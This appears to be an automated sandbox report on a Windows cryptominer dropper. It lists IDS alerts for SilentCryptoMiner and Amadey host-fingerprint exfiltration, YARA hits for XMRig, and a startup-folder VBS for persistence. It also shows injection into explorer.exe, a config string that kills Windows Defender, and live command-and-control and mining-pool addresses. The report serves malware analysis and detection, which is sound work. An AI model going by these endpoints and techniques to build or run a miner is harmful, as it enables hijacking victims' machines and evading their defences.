2024-12-12T20:36:19.985337+0100	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.5	64047	1.1.1.1	53	UDP

ET MALWARE SilentCryptoMiner Agent Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T20:36:23.813794+0100	2054247	1	A Network Trojan was detected	154.216.20.243	443	192.168.2.5	49705	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T20:36:26.424321+0100	2044697	1	A Network Trojan was detected	192.168.2.5	49707	154.216.20.243	443	TCP
2024-12-12T20:37:23.355991+0100	2044697	1	A Network Trojan was detected	192.168.2.5	49835	154.216.20.243	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6760, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: file.exe, 00000000.00000002.2235805876.0000026B59C35000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: file.exe, 00000000.00000002.2235805876.0000026B59C35000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054247 - Severity 1 - ET MALWARE SilentCryptoMiner Agent Config Inbound : 154.216.20.243:443 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.5:49707 -> 154.216.20.243:443
Source: Network traffic	Suricata IDS: 2044697 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M3 : 192.168.2.5:49835 -> 154.216.20.243:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 154.216.20.243 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 37.203.243.102 3333	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.168.0.100 4444	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 37.203.243.102:3333

Source: Joe Sandbox View

IP Address: 154.216.20.243 154.216.20.243

Source: Network traffic

Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.5:64047 -> 1.1.1.1:53

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /P.txt HTTP/1.1Accept: */*Connection: closeHost: woo097878781.winUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic	DNS traffic detected: DNS query: woo097878781.win

Source: unknown

HTTP traffic detected: POST /66/api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 326Content-Type: application/jsonHost: woo097878781.winUser-Agent: cpp-httplib/0.12.6

Source: powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: WindosCPUsystem.exe, 00000009.00000002.2754655191.00000227AACEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micr
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2171532533.000001FA9F501000.00000004.00000800.00020000.00000000.sdmp, WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F501000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2171532533.000001FA9F728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000002.00000002.2194011814.000001FAAF571000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: file.exe, 00000000.00000002.2201146076.0000026B4888C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp, WindosCPUsystem.exe, 00000009.00000002.2333963744.0000022790D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win
Source: explorer.exe, 00000006.00000002.3378093722.0000000001286000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2242645098.0000000001309000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.0000000001249000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996970093.0000000001311000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.php
Source: explorer.exe, 00000006.00000002.3378093722.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/66/api/endpoint.phpProvider
Source: explorer.exe, 00000006.00000003.2270800960.00000000012DA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/P.txt
Source: explorer.exe, 00000006.00000002.3378093722.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/P.txt--cinit-kill-targets=MsMpEng.exe--cinit-api=https://woo097878781.win/6
Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2236864354.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811156999.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/P.txtEMP
Source: explorer.exe, 00000006.00000003.2237726271.00000000012E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2479254183.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832441496.00000000012EB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2811067450.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2263312897.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251671714.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270800960.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2996719613.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3378093722.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2270125052.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3251273544.00000000012D4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2832239989.00000000012E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.win/P.txtZ
Source: explorer.exe, 00000006.00000003.2810758230.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2810935675.0000000001311000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://woo097878781.winxe
Source: explorer.exe, 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: explorer.exe PID: 6760, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

File created: C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF8490C31F2	0_2_00007FF8490C31F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF8490CCC43	0_2_00007FF8490CCC43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF8490C0DF2	0_2_00007FF8490C0DF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF8490C2EFA	0_2_00007FF8490C2EFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FE2E11	2_2_00007FF848FE2E11
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF8490D31F2	9_2_00007FF8490D31F2
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF8490DCC43	9_2_00007FF8490DCC43
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF8490D0DF2	9_2_00007FF8490D0DF2
Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Code function: 9_2_00007FF8490D2EFA	9_2_00007FF8490D2EFA

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: WindosCPUsystem.exe.0.dr	Static PE information: No import functions for PE file found
Source: file.exe	Static PE information: No import functions for PE file found

Source: file.exe, 00000000.00000002.2200013862.0000026B47020000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs file.exe
Source: file.exe, 00000000.00000000.2113202547.0000026B46C7E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameKaebftg.exe0 vs file.exe
Source: file.exe, 00000000.00000002.2235805876.0000026B59C35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs file.exe

Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 6.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: explorer.exe PID: 6760, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: file.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: file.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: file.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: WindosCPUsystem.exe.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: WindosCPUsystem.exe.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: WindosCPUsystem.exe.0.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.file.exe.26b59c356f8.4.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.expl.evad.mine.winEXE@14/9@2/3

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

Jump to behavior

Source: C:\Users\user\AppData\Roaming\WindosCPUsystem.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12fieoef.n4o.ps1

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs"

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
